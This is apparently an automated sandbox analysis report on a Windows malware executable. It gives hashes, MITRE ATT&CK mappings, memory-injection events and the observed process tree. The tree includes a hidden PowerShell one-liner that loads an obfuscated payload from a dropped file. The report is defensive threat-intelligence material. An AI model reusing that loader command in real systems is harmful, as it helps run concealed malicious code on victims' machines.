4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
15-11-2024 02:31

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General

Target

4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe
Size

685KB
MD5

2032c338e04d0b5a60eef3f7b7328891
SHA1

352126118e6c6ce3c595c6ac589a70b96cdcc322
SHA256

4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f
SHA512

7aea68700ce219007212c465be4dd752e04f16584cfdfdcb0bf56f99b357f731934e00ae0efc5c5dab29ad5a5735e280ac37a0c425c2a78009875195aacb2696
SSDEEP

12288:G0mnA1zA7zDwONNpP0cldbpH3RfKNmucxdiUWIJiGar9t3DSDb4N5:uA1zALdNpPRllR3NUmuq016Bg3ewH

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1708	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\propangas.lem	4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1708	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1708	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 1708	2356	4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe	30
PID 2356 wrote to memory of 1708	2356	4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe	30
PID 2356 wrote to memory of 1708	2356	4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe	30
PID 2356 wrote to memory of 1708	2356	4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe	30

C:\Users\Admin\AppData\Local\Temp\4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe
"C:\Users\Admin\AppData\Local\Temp\4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Fragmentary=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Formaalsbestemmelsens\Omraadenummers.Ter';$Spaniolens=$Fragmentary.SubString(53801,3);.$Spaniolens($Fragmentary)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1708-8-0x0000000073A01000-0x0000000073A02000-memory.dmp

Filesize
4KB

Download
memory/1708-9-0x0000000073A00000-0x0000000073FAB000-memory.dmp

Filesize
5.7MB

Download
memory/1708-10-0x0000000073A00000-0x0000000073FAB000-memory.dmp

Filesize
5.7MB

Download
memory/1708-12-0x0000000073A00000-0x0000000073FAB000-memory.dmp

Filesize
5.7MB

Download
memory/1708-11-0x0000000073A00000-0x0000000073FAB000-memory.dmp

Filesize
5.7MB

Download
memory/1708-13-0x0000000073A00000-0x0000000073FAB000-memory.dmp

Filesize
5.7MB

Download